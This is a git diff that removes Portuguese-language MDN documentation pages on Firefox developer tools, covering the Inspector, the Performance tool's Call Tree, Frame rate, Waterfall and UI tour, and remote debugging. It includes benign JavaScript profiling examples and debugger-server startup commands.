Note that it's actually part of the main toolbox toolbar, so it's immediately accessible from any tool, not just the Inspector.

- -

To learn how to select an element, see the guide to selecting an element.

- -

Painel de HTML

- -

The Inspector is split into two halves. The left-hand half is occupied by the HTML pane:

- -

- -

To learn more about the structure of the HTML pane, see the guide to examining and editing HTML.

- -

Painel de CSS

- -

The right-hand side of the Inspector is occupied by the CSS pane:

- -

The CSS pane is divided into 4 views:

- -
    -
  • Rules view
  • -
  • Computed view
  • -
  • Fonts view
  • -
  • Animations view
  • -
- -

Use the tabs along the top to switch between the different views.

- -

Visualizar Regras

- -

The Rules view lists all the rules that apply to the selected element, ordered from most-specific to least-specific:

- -

- -

See Examine and edit CSS for more details.

- -

Visualização computada

- -

The Computed view shows you the complete computed CSS for the selected element, and an editable visual representation of the box model for the element:

- -

- -

To learn more about the box model view, see Examine and edit the box model. Note that before Firefox 50, the box model view did not appear in the "Computed view" tab, but had its own tab.

- -

To learn more about the CSS declarations listed in this view, see Examine computed CSS.

- -

Visualizar tipo de letra

- -
-

Apenas na versão 47 do Firefox , a visualzaição dos Tipos de Letra está desativada por predefinição. Se pretender ver a visualização dos tipos de Letra na versão 47 do Firefox, visite about:config, encontre a preferência devtools.fontinspector.enabled, e defina-a para "true".

- -

Antes e depois da versão 47 do Firefox, a visualização dos Tipos de letra está ativada por predefinição.

-
- -

The Fonts view shows all the fonts in the page along with editable samples.

- -

- -

Consultar Visualizar tipos de letra para mais detalhes.

- -

Visualizar animações

- -

The Animations view gives you details of any animations applied to the selected element, and a controller to pause them:

- -

 

- -

- -

Consulte Work with animations para mais detalhes.

- -

Mostrar/ocultar painel CSS

- -

From Firefox 40 onwards, there's a button in the toolbar that you can use to show or hide the CSS pane:

- -

diff --git a/files/pt-pt/tools/performance/call_tree/index.html b/files/pt-pt/tools/performance/call_tree/index.html deleted file mode 100644 index 4096b5d59d..0000000000 --- a/files/pt-pt/tools/performance/call_tree/index.html +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: Arvóre de Chamada -slug: Tools/Performance/Call_Tree -tags: - - Desempenho - - JavaScript - - memoria -translation_of: Tools/Performance/Call_Tree -original_slug: Tools/Desempenho/Arvore_de_Chamada ---- -
{{ToolsSidebar}}
-

A 'Árvore de Chamada' (Call Tree) diz-lhe quais as funções de JavaScript que o navegador gastou mais tempo. Ao analisar os resultados, pode encontrar estrangulamentos no seu código - locais onde o navegador está a gastar uma quantidade desproporcionalmente grande de tempo.

- -

Estes estrangulamentos são locais onde quaisquer otimizações que pode fazer irão ter um grande impacto.

-
- -

The Call Tree is a sampling profiler. It periodically samples the state of the JavaScript engine and records the stack for the code executing at the time. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it.

- -
-

In this article, we'll use the output of a simple program as an example. If you want to get the program to experiment with your profile, you can find it here. You can find the specific profile we discuss here - just import it to the performance tool to follow along.

- -

There's a short page describing the structure of this program here.

- -

Note that we use the same program - the same profile, in fact - in the documentation page for the Flame Chart.

-
- -

The screenshot below shows the output of a program that compares three sorting algorithms - bubble sort, selection sort, and quicksort. To do this, it generates some arrays filled with random integers and sorts them using each algorithm in turn.

- -

We've zoomed into the part of the recording that shows a long JavaScript marker:

- -

- -

The Call Tree presents the results in a table. Each row represents a function in which at least one sample was taken, and the rows are ordered by the number of samples taken while in that function, highest to lowest.

- -

Samples is the number of samples that were taken when we were executing this particular function.

- -

Self Cost is that number as a percentage of the total number of samples in the selected portion of the recording.

- -

Self Time is that number translated into milliseconds, based on the total amount of time covered by the selected portion of the recording.

- -

In the current version of the Call Tree, these are the most important columns. Functions with a relatively high Self Cost are good candidates for optimization, either because they take a long time to run, or because they are called very often.

- -

This screenshot tells us something we probably already knew: Bubble sort is a very inefficient algorithm. We have about six times as many samples in bubble sort as in selection sort, and 13 times as many as in quicksort.

- -

Mover-se na árvore de chamada

- -

Next to each function name is a disclosure arrow: Click that, and you can see the path back up the call tree, from the function in which the sample was taken, to the root. For example, we can expand the entry for bubbleSort():

- -

- -

So we can see the call graph is like this:

- -
sortAll()
-
-    -> sort()
-
-        -> bubbleSort()
- -

Note also that Self Cost for sort() here is 1.45%, and note that this is the same as for the separate entry for sort() later in the list. This is telling us that some samples were taken in sort() itself, rather than in the functions it calls.

- -

Sometimes there's more than one path back from an entry to the top level. Let's expand the entry for swap():

- -

- -

There were 253 samples taken inside swap(). But swap() was reached by two different paths: both bubbleSort() and selectionSort() use it. We can also see that 252 of the 253 samples in swap() were taken in the bubbleSort() branch, and only one in the selectionSort() branch.

- -

This result means that bubble sort is even less efficient than we had thought! It can shoulder the blame for another 252 samples, or almost another 10% of the total cost.

- -

With this kind of digging, we can figure out the whole call graph, with associated sample count:

- -
sortAll()                         //    8
-
-    -> sort()                     //   37
-
-        -> bubbleSort()           // 1345
-
-            -> swap()             //  252
-
-        -> selectionSort()        //  190
-
-            -> swap()             //    1
-
-        -> quickSort()            //  103
-
-            -> partition()        //   12
- -

Dados da plataforma

- -

You'll also see some rows labeled Gecko, Input & Events, and so on. These represent internal browser calls.

- -

This can be useful information too. If your site is making the browser work hard, this might not show up as samples recorded in your code, but it is still your problem.

- -

In our example, there are 679 samples assigned to Gecko - the second-largest group after bubbleSort(). Let's expand that:

- -

- -

This result is telling us that 614 of those samples, or about 20% of the total cost, are coming from our sort() call. If we look at the code for sort(), it should be fairly obvious that the high platform data cost is coming from repeated calls to console.log():

- -
function sort(unsorted) {
-  console.log(bubbleSort(unsorted));
-  console.log(selectionSort(unsorted));
-  console.log(quickSort(unsorted));
-}
- -

It would certainly be worthwhile considering more efficient ways of implementing this.

- -

One thing to be aware of here is that idle time is classified as Gecko, so parts of your profile where your JavaScript isn't running will contribute Gecko samples. These aren't relevant to the performance of your site.

- -
-

By default, the Call Tree doesn't split platform data out into separate functions, because they add a great deal of noise, and the details are not likely to be useful to people not working on Firefox. If you want to see the details, check "Show Gecko Platform Data" in the Settings.

-
- -
- - - - - -
diff --git a/files/pt-pt/tools/performance/frame_rate/index.html b/files/pt-pt/tools/performance/frame_rate/index.html deleted file mode 100644 index 2bcac50ba4..0000000000 --- a/files/pt-pt/tools/performance/frame_rate/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Frame rate -slug: Tools/Performance/Frame_rate -tags: - - frame rate -translation_of: Tools/Performance/Frame_rate -original_slug: Tools/Desempenho/Frame_rate ---- -
{{ToolsSidebar}}
-

Frame rate é uma medida da reação de um site da Web. Uma frame rate baixa ou inconsistente pode fazer com que um site pareça irrespondível ou janky, criando uma má experiência de utilizador.

- -

Uma frame rate de 60 imagens por segundo é o ideal para um desempenho suave, proporcionando-lhe um período de tempo de 16.7ms para todas as atualizações necessária na resposta para algum evento.

- -

O gráfico de frame rate na ferramenta 'Desempenho'  mostra-lhe a frame rate durante o curso de uma gravação. Este dá-lhe uma indicação rápida de onde o seu site poderá estar a ter problemas, permitindo-lhe utilizar as outras ferramentas para uma análise mais aprofundada.

-
- -

Frame rate e resposta

- -

Frame rate is the rate at which a video device can produce images (or frames). It's most familiar from film and gaming, but is now widely used as a performance measure for websites and web apps.

- -

In web performance, a frame encapsulates the work the browser needs to do in order to update and repaint the screen. Frame rate is most obviously applicable to animations: if the frame rate is too low, an animation will have a jerky appearance, while a faster frame rate will be smoother. But frame rate is also useful as a general measure of a site's responsiveness as the user interacts with it.

- -

For example, if moving the mouse over some page element triggers some JavaScript that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame. If it takes too long for the browser to process the frame, then the browser will appear momentarily unresponsive (janky).

- -

Similarly, if scrolling through a page involves a lot of complex page updates and the browser can't keep up an acceptable frame rate, scrolling the page will appear sluggish or will occasionally freeze.

- -

In general, a high and consistent frame rate will make the user's interaction with the site more enjoyable and engaging.

- -
-

A frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some event.

- -

However, consistency is especially important: if you can't deliver 60fps, it's better to deliver lower frame rates more consistently, and avoid sudden dips in the frame rate which cause the site to freeze.

-
- -

Gráfico da frame rate

- -

The frame rate graph is found in the Recording overview part of the Performance tool. It takes a timestamp when the browser finishes a frame, and uses this to keep track of the frame rate over the course of the recording.

- -

The x-axis is time over the profile period, and there are three annotations: the maximum frame rate, the average frame rate, and the lowest frame rate.

- -

Utilização do gráfico de frame rate

- -

The great value of the frame rate graph is that, like the Web Console, it gives you a quick indication of where your site might be having problems, enabling you to use the other tools for more in-depth analysis. For example, here's a screenshot of a performance profile:

- -

- -

You can see that the average frame rate is reasonably healthy, but there are three spots where frame rate collapses for tens of milliseconds. This would certainly cause a noticeable stutter for any animations that were playing in the page.

- -

The frame rate graph is correlated with the waterfall summary directly above it, and there we can see that the first two drops in the frame rate are correlated with orange bars, which denote time spent executing JavaScript.

- -

If we select one of these slices of the recording, the main Waterfall view underneath it is zoomed into it, and we can see the function that's causing the problem:

- -

- -

We have a JavaScript function from a click event that's blocking the main thread for 170 milliseconds.

- -

Which function, though? Switch to the Flame Chart to see the call stack at that point:

- -

- -

The offending function is called doPointlessComputations(), and it's defined in "main.js". To fix it, we might consider splitting it into pieces and running the pieces inside requestAnimationFrame, or even running the entire function in a worker. The Intensive JavaScript article shows how you can use strategies like this to fix responsiveness problems caused by long-running synchronous JavaScript.

diff --git a/files/pt-pt/tools/performance/how_to/index.html b/files/pt-pt/tools/performance/how_to/index.html deleted file mode 100644 index 3e3f37f752..0000000000 --- a/files/pt-pt/tools/performance/how_to/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Como fazer! -slug: Tools/Performance/How_to -translation_of: Tools/Performance/How_to -original_slug: Tools/Desempenho/Como_fazer ---- -
{{ToolsSidebar}}
- -

Abrir as ferramentas de «Desempenho»

- -

Para abrir as ferramentas de Desempenho:

- -
    -
  • pressione Shift + F5
  • -
  • selecione "Desempenho" no submenu das "Ferramentas de Programação" no Menu do Firefox (ou no menu das Ferramenats se exibir a barra do menu ou está num OS X)
  • -
  • selecione "Desempenho" no botão Ferramentas, na «Barra de Ferramentas», se tiver uma:
  • -
- -

Gravar um perfil

- -

To start a new recording, press the stopwatch icon in the Recordings pane. To stop, press it again:

- -

- -

You can also start and stop recording from the Web Console, using console.profile() and console.profileEnd().

- -

Guardar um perfil

- -

To save a profile, click the link labeled "Save" in the Recordings pane:

- -

- -

Carregar um perfil

- -

To load a profile, click "Import..." and choose the file:

- -

- -

Limpar todos os perfis carregados

- -

To clear all loaded profiles, click "Clear".

- -
-

If you do this, you'll lose any loaded profiles that you have not saved.

-
- -

- -

Selecionar uma ferramenta

- -

To switch between the Waterfall, Call Tree, and Flame Chart tools, use the buttons in the toolbar:

- -

- -

Configurar marcadores exibidos

- -

To control which markers are shown in the Waterfall, use the button in the toolbar:

- -

- -

Zoom +

- -

To zoom into a slice of the recording, select that slice in the recording overview:

- -

diff --git a/files/pt-pt/tools/performance/index.html b/files/pt-pt/tools/performance/index.html deleted file mode 100644 index 02d62da901..0000000000 --- a/files/pt-pt/tools/performance/index.html +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: Desempenho -slug: Tools/Performance -tags: - - Aprender - - Desempenho - - Desempenho da Web - - Ferramentas de Desenvolvimento - - Ferramentas de Programação -translation_of: Tools/Performance -original_slug: Tools/Desempenho ---- -
{{ToolsSidebar}}
- -

A ferramenta de Desempenho mostra-lhe a resposta geral do seu site, o desempenho da disposição e JavaScript. Com esta ferramenta pode criar um registo, ou perfil, do seu site durante um período do tempo.  A ferramenta depois mostra-lhe uma sinopse das coisas que o navegador esteve a fazer ao renderizar o seu site sob o perfil, e um gráfico da frame rate sob o perfil.

- -

Tem quatro subferramentas para examinar os aspetos do perfil em mais detalhe:

- -
    -
  • a Waterfall mostra-lhe diferentes operações que o navegador estava a realizar, tais como disposição, JavaScript, repaints, e coleção de lixo
  • -
  • a Árvore de Chamada mostra as funções de JavaScript nas quais o navegador gasta a mior parte do seu tempo
  • -
  • the Flame Chart shows the JavaScript call stack over the course of the recording
  • -
  • the Allocations view shows the heap allocations made by your code over the course of the recording. This view only appears if you checked "Record Allocations" in the Performance tool settings.
  • -
- -

{{EmbedYouTube("WBmttwfA_k8")}}

- -
-

Iniciação

- -
-
-
-
Guia da IU
-
-

To find your way around the Performance tool, here's a quick tour of the UI.

-
-
-
- -
-
-
Como fazer!
-
Basic tasks: open the tool, create, save, load, and configure recordings
-
-
-
- -
-

Componentes da ferramenta «Desemepenho»

- -
-
-
-
Frame rate
-
Understand your site's overall responsiveness.
-
Árvore de Chamada
-
Find bottlenecks in your site's JavaScript.
-
Allocations
-
See the allocations made by your code over the course of the recording.
-
-
- -
-
-
Cascata
-
Understand the work the browser's doing as the user interacts with your site.
-
Flame Chart
-
See which JavaScript functions are executing, and when, over the course of the recording.
-
-
-
-
- -
-

Cenários

- -
-
-
-
Animating CSS properties
-
Uses the Waterfall to understand how the browser updates a page, and how animating different CSS properties can affect performance.
-
-
-
- -
-
-
Intensive JavaScript
-
Uses the frame rate and Waterfall tools to highlight performance problems caused by long-running JavaScript, and how using workers can help in this situation.
-
-
-
- - - -
-
-
-
-
- - - -
- - - - - -
diff --git a/files/pt-pt/tools/performance/ui_tour/index.html b/files/pt-pt/tools/performance/ui_tour/index.html deleted file mode 100644 index 3ceafcf3d5..0000000000 --- a/files/pt-pt/tools/performance/ui_tour/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Guia da IU (Interface do Utilizador) -slug: Tools/Performance/UI_Tour -translation_of: Tools/Performance/UI_Tour -original_slug: Tools/Performance/Guia_da_IU ---- -
{{ToolsSidebar}}

A 'IU - Interface do Utilizador' da ferramenta desempenho consiste em 4 partes principais:

- -

- - - -

Barra de Ferramentas

- -

A barra de ferramentas contém botões para:

- -
    -
  • iniciar e parar a gravação
  • -
  • importar uma gravação anteriormente guardada
  • -
  • limpar o painel de 'Gravações'. Note que se o fizer, perde quaisquer gravações que não tenha guardado.
  • -
  • filtrar os marcadores que são exibidos na bisualização de Waterfall
  • -
  • mude a ferramenta ativa no painel de 'Detalhes'.
  • -
  • aceder à janela das 'Definições'
  • -
- -

- -

Painel de gravações

- -

The recordings pane lists all the recordings you have loaded, including any you have made in this session and any you have imported.

- -

- -

At any given time, one recording is selected, and that recording is displayed in the rest of the tool. To select a different recording, click its entry in the pane. To save the recording as a JSON file click "Save".

- -

Resumo da gravação

- -

This displays an overview of the entire recording, with the x-axis representing time.

- -

- -

It contains two elements: an overview of the Waterfall and a frame rate graph.

- -

Resumo de Waterfall

- -

This presents a compressed view of the Waterfall:

- -

- -

Recorded operations are color-coded using the same scheme as in the main Waterfall view.

- -

Gráfico de taxa de imagem

- -

The frame rate gives you an overview of the browser's responsiveness during the recording:

- -

- -

See the separate article on frame rate.

- -

Eventos dependentes

- -

Because these elements are synchronized, you can correlate events in one element with events in another.

- -

For example, in the screenshot below a long-running paint operation (shown as a green bar in the waterfall overview) corresponds to a drop in the frame rate:

- -

- -

Zoom

- -

You can use the overview to select a slice of the recording to examine in more detail. Select a slice, and the main view will be updated to contain just the part selected. In the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail:

- -

- -

Painel de detalhes

- -

The Details pane shows whichever tool is currently selected. To switch to a different tool, use the buttons in the Toolbar.

- -

Waterfall

- -

The Waterfall presents a view of the work the browser is doing during the recording: executing JavaScript, updating the CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution.

- -

- -

To learn much more about the Waterfall, see the separate Waterfall page.

- -

Call Tree

- -

The Call Tree is a sampling profiler for JavaScript running in the page. It periodically samples the state of the JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code.

- -


- To learn much more about the Call Tree, see the separate Call Tree page.

- -

Flame Chart

- -

If the Call Tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the Flame Chart tells you the call stack at any given point during the recording:

- -

- -

To learn much more about the Flame Chart, see the separate Flame Chart page.

- -

Alocações

- -
-

The Allocations view is new in Firefox 46.

-
- -

The Allocations view is like the Call Tree view, but for allocations: it shows you which functions in your page are allocating the most memory over the course of the profile.

- -

- -

The Allocations view only appears if you checked "Record Allocations" in the Performance tool settings, before recording a profile:

- -

{{EmbedYouTube("Le9tTo7bqts")}}

- -

To learn much more about the Allocations view, see the separate Allocations page.

- -

 

diff --git a/files/pt-pt/tools/performance/waterfall/index.html b/files/pt-pt/tools/performance/waterfall/index.html deleted file mode 100644 index ba31aa2693..0000000000 --- a/files/pt-pt/tools/performance/waterfall/index.html +++ /dev/null @@ -1,564 +0,0 @@ ---- -title: Cascata -slug: Tools/Performance/Waterfall -translation_of: Tools/Performance/Waterfall -original_slug: Tools/Desempenho/Cascata ---- -
{{ToolsSidebar}}
-

A 'Cascata' (Waterfall) mostra-lhe várias coisas que o navegador está a fazer na medida em que este excecuta o seu site ou aplicação. É baseado na ideia de que as coisas que o navegador faz quando executa um site pode ser dividido em vários tipos - executar JavaScript, atualizar a disposição, etc... - e que em qualquer ponto no tempo, o navegador está a fazer essas coisas.

- -

Assim, se vir um sinal de um problema de desempenho - uma quebra na frame rate, por exemplo - pode ir para a 'Cascata' para ver o que o navegador estava a fazer nesse ponto da gravação.

-
- -

- -

Along the X-axis is time. Recorded operations, called markers, are shown as horizontal bars, laid out in a waterfall to reflect the serial nature of the browser's execution.

- -

When a marker is selected you'll see more information about it in a sidebar on the right. This includes the marker's duration and some more information that's specific to the marker type.

- -

Marcadores

- -

The markers for operations are color-coded and labeled. The following operations are recorded:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome e descriçãoCorInformação detalhada
-

DOM Event

- -

JavaScript code that's executed in response to a DOM event.

-
-
-
Event Type
-
For example, "click" or "message".
-
- -
-
Event Phase
-
For example, "Target" or "Capture".
-
-
-

JavaScript functions executed in the page are labeled with the reason the function was called:

- -

Script Tag
- setInterval
- setTimeout
- requestAnimationFrame
- Promise Callback
- Promise Init
- Worker
- JavaScript URI
- Event Handler

-
-
-
Stack
-
Call stack, with links to functions.
-
-
-

Analisar HTML

- -

Time spent parsing the page's HTML.

-
-
-
Stack
-
Call stack, with links to functions.
-
-
-

Analisar XML

- -

Time spent parsing the page's XML.

-
-
-
Stack
-
Call stack, with links to functions.
-
-
-

Recalcular Estilo

- -

Calculating the computed styles that apply to page elements.

-
-
-
Restyle Hint
-
A string indicating what kind of restyling is needed. The hint may be any of:
- Self
- Subtree
- LaterSiblings
- CSSTransitions
- CSSAnimations
- SVGAttrAnimations
- StyleAttribute
- StyleAttribute_Animations
- Force
- ForceDescendants
-
-
-

Disposição (Layout)

- -

Calculating the position and size of page elements. This operation is sometimes called "reflow".

-
 
-

Pintura

- -

Desenhar píxeis para o ecrã.

-
 
-

Coleção de Lixo

- -

Garbage collection event. Non-incremental GC events are labeled "(Non-incremental)".

-
-
-
Motivo
-
A string the indicating the reason GC was performed.
-
Motivo Não Incremental
-
If the GC event was non-incremental, the string indicates the reason non-incremental GC was performed.
-
- -
-

New in Firefox 46: if the GC event was caused by allocation pressure, a link appears, labeled "Show Allocation Triggers". Click the link to see the allocation profile leading up to this GC event.

- -

See Allocations and Garbage Collection for more details.

-
-
-

Ciclo da Coleção

- -

Reclaiming C++ reference-counted data structures.

- -

Like garbage collection, but for C++ objects. See Kyle Huey's blog post about cycle collection.

-
-
-
Tipo
-
Always "Collect".
-
-
-

CC - Reduçãod e Gráfico

- -

Preparation/pre-optimization for Cycle Collection.

-
-
-
Tipo
-
Always "ForgetSkippable".
-
-
-

Consola

- -

The period between matching calls to console.time() and console.timeEnd().

-
-
-
Nome do temporizador
-
The argument passed to the console functions.
-
Stack at start
-
Call stack console.time(), with links to functions.
-
Stack at End
-
(New in Firefox 41). Call stack at console.timeEnd(). If this is inside a callback from a Promise, this will also show the "Async stack".
-
-
-

Data/Hora

- -

A single call to console.timeStamp().

-
-
-
Etiqueta
-
The argument passed to timeStamp().
-
-
-

DOM - Conteúdo Carregado

- -

The document's DOMContentLoaded event.

-
 
-

Carregamento

- -

The document's load event.

-
 
-

Worker event in main thread

- -

Shown when the main thread sends a message to a worker, or receives a message from a worker.

-
-

One of:

- -
-
Serialize data on the main thread
-
The main thread is serializing a message to be sent to the worker.
-
Deserialize data on the main thread
-
The main thread is deserializing a message received from the worker.
-
-
-

Worker event in worker thread

- -

Shown when a worker receives a message from the main thread, or sends a message to the main thread.

-
-

One of:

- -
-
Serialize data in Worker
-
The worker is serializing a message to be sent to the main thread.
-
Deserialize data in Worker
-
The worker is deserializing a message received from the main thread.
-
-
- -

The markers, and their colors, are the same in the Waterfall tool as in the Waterfall overview, making is easy to correlate from one to the other.

- -

Filtrar marcadores

- -

You can control which markers are displayed using a button in the Toolbar:

- -

- -

Padrões de cascata

- -

Exactly what you'll see in the Waterfall is very dependent on the kind of thing your site is doing: JavaScript-heavy sites will have a lot of orange, while visually dynamic sites will have a lot of purple and green. But there are common patterns which can alert you to possible performance problems.

- -

Renderizar cascata

- -

One pattern that you'll often see in the Waterfall view is something like this:

- -

- -

This is a visualization of the basic algorithm the browser uses to update the page in response to some event:

- -
    -
  1. JavaScript Function Call: some event - for example, a DOM event - causes some JavaScript in the page to run. The JavaScript changes some of the page's DOM or CSSOM.
  2. -
  3. Recalculate Style: if the browser thinks the computed styles for page elements have changed, it must then recalculate them.
  4. -
  5. Layout: next, the browser uses the computed styles to figure out the position and geometry for the elements. This operation is labeled "layout" but is also sometimes called "reflow".
  6. -
  7. Paint: finally, the browser needs to repaint the elements to the screen. One last step is not shown in this sequence: the page may be split into layers, which are painted independently and then combined in a process called "Composition".
  8. -
- -

This sequence needs to fit into a single frame, since the screen isn't updated until it is complete. It's commonly accepted that 60 frames per second is the rate at which animations will appear smooth. For a rate of 60 frames per second, that gives the browser 16.7 milliseconds to execute the complete flow.

- -

Importantly for responsiveness, the browser doesn't always have to go through every step:

- -
    -
  • CSS animations update the page without having to run any JavaScript.
  • -
  • Not all CSS property changes cause a reflow. Changing properties that can alter an object's geometry and position, such as width, display, font-size, or top, will cause a reflow. However, changing properties that don't alter geometry or position, such as color or opacity, will not.
  • -
  • Not all CSS property changes cause a repaint. In particular, if you animate an element using the transform property, the browser will use a separate layer for the transformed element, and doesn't even have to repaint when the element is moved: the new position of the element is handled in composition.
  • -
- -

The Animating CSS properties article shows how animating different CSS properties can give different performance outcomes, and how the Waterfall can help signal that.

- -

Bloquear JavaScript

- -

By default, a site's JavaScript is executed in the same thread that the browser uses for layout updates, repaints, DOM events, and so on. This means that long-running JavaScript functions can cause unresponsiveness (jank): animations may not be smooth, or the site might even freeze.

- -

Using the frame rate tool and the Waterfall together, it's easy to see when long-running JavaScript is causing responsiveness problems. In the screenshot below, we've zoomed in on a JS function that's caused a drop in the frame rate:

- -

- -

The Intensive JavaScript article shows how the Waterfall can highlight responsiveness problems caused by long JavaScript functions, and how you can use asynchronous methods to keep the main thread responsive.

- -

Pinturas dispendiosas

- -

Some paint effects, such as box-shadow, can be expensive, especially if you are applying them in a transition where the browser has to calculate them in every frame. If you're seeing drops in the frame rate, especially during graphically-intensive operations and transitions, check the Waterfall for long green markers.

- -

Coleção de lixo

- -

Red markers in the Waterfall represent garbage collection (GC) events, in which SpiderMonkey (the JavaScript engine in Firefox) walks the heap looking for memory that's no longer reachable and subsequently releasing it. GC is relevant to performance because while it's running the JavaScript engine must be paused, so your program is suspended and will be completely unresponsive.

- -

To help reduce the length of pauses, SpiderMonkey implements incremental GC: this means that it can perform garbage collection in fairly small increments, letting the program run in between. Sometimes, though, it needs to perform a full non-incremental collection, and the program has to wait for it to finish.

- -
    -
- -

In trying to avoid GC events, and especially non-incremental GC events, it's wise not to try to optimize for the specific implementation of the JavaScript engine. SpiderMonkey uses a complex set of heuristics to determine when GC is needed, and when non-incremental GC in particular is needed. In general, though:

- -
    -
  • GC is needed when a lot of memory is being allocated
  • -
  • non-incremental GC is usually needed when the memory allocation rate is high enough that SpiderMonkey may run out of memory during incremental GC
  • -
- -

When the Waterfall records a GC marker it indicates:

- -
    -
  • whether the GC was incremental or not
  • -
  • the reason the GC was performed
  • -
  • if the GC was non-incremental, the reason it was non-incremental
  • -
  • starting in Firefox 46, if the GC event was caused by allocation pressure, a link appears, labeled "Show Allocation Triggers". Click the link to see the allocation profile leading up to this GC event. See Allocations and Garbage Collection for more details.
  • -
- -

Adicionar marcadores com a API da consola

- -

Two markers are directly controlled by console API calls: "Console" and "Timestamp".

- -

Marcadores da consola

- -

These enable you to mark a specific section of the recording.

- -

To make a console marker, call console.time() at the start of the section, and console.timeEnd() at the end. These functions take an argument which is used to name the section.

- -

For example, suppose we have code like this:

- -
var iterations = 70;
-var multiplier = 1000000000;
-
-function calculatePrimes() {
-
-  console.time("calculating...");
-
-  var primes = [];
-  for (var i = 0; i < iterations; i++) {
-    var candidate = i * (multiplier * Math.random());
-    var isPrime = true;
-    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
-      if (candidate % c === 0) {
-          // not prime
-          isPrime = false;
-          break;
-       }
-    }
-    if (isPrime) {
-      primes.push(candidate);
-    }
-  }
-
-  console.timeEnd("calculating...");
-
-  return primes;
-}
- -

The Waterfall's output will look something like this:

- -

- -

The marker is labeled with the argument you passed to console.time(), and when you select the marker, you can see the program stack in the right-hand sidebar.

- -

Async stack

- -

New in Firefox 41.

- -

Starting in Firefox 41, the right-hand sidebar will also show the stack at the end of the period: that is, at the point console.timeEnd() was called. If console.timeEnd() was called from the resolution of a Promise, it will also display "(Async: Promise)", under which it will show the "async stack": that is, the call stack at the point the promise was made.

- -

For example, consider code like this:

- -
var timerButton = document.getElementById("timer");
-timerButton.addEventListener("click", handleClick, false);
-
-function handleClick() {
-  console.time("timer");
-  runTimer(1000).then(timerFinished);
-}
-
-function timerFinished() {
-  console.timeEnd("timer");
-  console.log("ready!");
-}
-
-function runTimer(t) {
-  return new Promise(function(resolve) {
-    setTimeout(resolve, t);
-  });
-}
- -

The Waterfall will display a marker for the period between time() and timeEnd(), and if you select it, you'll see the async stack in the sidebar:

- -

- -

Marcadores de data/hora

- -

Timestamps enable you to mark an instant in the recording.

- -

To make a timestamp marker, call console.timeStamp(). You can pass an argument to label the timestamp.

- -

For example, suppose we adapt the code above to make a timestamp every 10 iterations of the loop, labeled with the iteration number:

- -
var iterations = 70;
-var multiplier = 1000000000;
-
-function calculatePrimes() {
-  console.time("calculating...");
-
-  var primes = [];
-  for (var i = 0; i < iterations; i++) {
-
-    if (i % 10 == 0) {
-      console.timeStamp(i.toString());
-    }
-
-    var candidate = i * (multiplier * Math.random());
-    var isPrime = true;
-    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
-      if (candidate % c === 0) {
-          // not prime
-          isPrime = false;
-          break;
-       }
-    }
-    if (isPrime) {
-      primes.push(candidate);
-    }
-  }
-  console.timeEnd("calculating...");
-  return primes;
-}
- -

In the Waterfall you'll now see something like this:

- -

- -

 

- -
- - - - - -
diff --git a/files/pt-pt/tools/remote_debugging/debugging_firefox_desktop/index.html b/files/pt-pt/tools/remote_debugging/debugging_firefox_desktop/index.html deleted file mode 100644 index 0099b3a81d..0000000000 --- a/files/pt-pt/tools/remote_debugging/debugging_firefox_desktop/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Depurar Firefox para PC -slug: Tools/Remote_Debugging/Debugging_Firefox_Desktop -tags: - - Depuração - - Ferramentas - - Guía -translation_of: Tools/Remote_Debugging/Debugging_Firefox_Desktop ---- -

{{draft}}

- -

{{ToolsSidebar}}

- -

This guide explains how you can use the Firefox Developer Tools to debug a different instance of desktop Firefox running on the same machine. In this guide, the instance of Firefox being debugged is called the debuggee, and the instance of Firefox doing the debugging is called the debugger.

- -

Enable remote debugging

- -

First, you'll need to ensure that both debugger and debuggee have the "Enable browser chrome and add-on debugging toolboxes" and "Enable remote debugging" settings checked in the Developer Tools Settings. If you're using Firefox Developer Edition, they are checked by default.

- -

- -

You only need to do this once: the setting values persist across restarts.

- -

Start the debugger server

- -

Next, you need to start the debugger server in the debuggee.

- -

Run the debuggee from the command line, passing it the --start-debugger-server option:

- -
/path/to/firefox --start-debugger-server
- -

Passed with no arguments, --start-debugger-server makes the debugger server listen on port 6000. To use a different port, pass the desired port number:

- -
/path/to/firefox --start-debugger-server 1234
- -

Note: in Windows, the start-debugger-server call will only have one dash:

- -
firefox.exe -start-debugger-server 1234
- -
-

Note: By default, and for security reasons, the devtools.debugger.force-local option is set. If you want to debug a Firefox instance from an external machine, you can change this option, but only do this on a trusted network or set a strong firewall rule to lock down which machines can access it.

-
diff --git a/files/pt-pt/tools/remote_debugging/index.html b/files/pt-pt/tools/remote_debugging/index.html deleted file mode 100644 index a0eb56ab9a..0000000000 --- a/files/pt-pt/tools/remote_debugging/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Depuração Remota -slug: Tools/Remote_Debugging -tags: - - Ferramentas - - 'l10n:prioridade' -translation_of: Tools/Remote_Debugging ---- -
{{ToolsSidebar}}
- -

Pode utilizar as ferramentas de desenvolvimento do Firefox no seu PC para depurar sites da Web e aplicação da Web em execução em outros navegadores ou tempos de execução. O outro navegador poderá estar no mesmo dispositivo que as próprias ferramentas ou num dispositivo diferente, tal como um telefone ligrado através de USB.

- -

As instruções detalhadas para ligar às ferramentas de programador são específicas de tempo de execução.

- -

Pode ligar às ferramentas de programador para os tempos de execução naseados em Gecko, tais como Firefox para PC, Firefox para Android, e Thunderbird.

